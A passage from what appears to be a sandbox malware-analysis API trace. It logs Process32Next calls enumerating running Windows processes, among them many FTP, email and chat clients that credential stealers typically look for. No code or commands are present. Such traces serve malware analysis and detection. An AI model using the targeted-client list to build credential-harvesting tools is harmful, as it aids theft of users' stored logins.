lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.033] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.035] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.037] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.039] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.066] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.068] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.072] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.075] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.077] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.079] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.082] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.084] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.086] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.089] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.091] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.093] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.095] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.097] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.098] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.100] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0135.103] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.105] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.109] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0135.111] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0135.112] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0135.115] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.117] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0135.119] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0135.121] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.122] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.124] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.126] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0135.128] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0135.130] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.132] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.133] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.135] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.137] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0135.138] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.140] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0135.142] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0135.143] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0135.145] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0135.147] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0135.149] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0135.151] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0135.153] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0135.155] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0135.157] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0135.160] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0135.162] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0135.164] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0135.167] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0135.169] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0135.172] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0135.179] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0135.181] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0135.184] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0135.188] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0135.191] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0135.206] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0135.208] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0135.211] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0135.213] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0135.216] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0135.218] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0135.219] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0135.222] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0135.225] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0135.227] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0135.229] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0135.231] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0135.233] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0135.235] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0135.237] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0135.238] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0135.240] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0135.242] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0135.244] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0135.246] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0135.248] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0135.249] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0135.251] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, 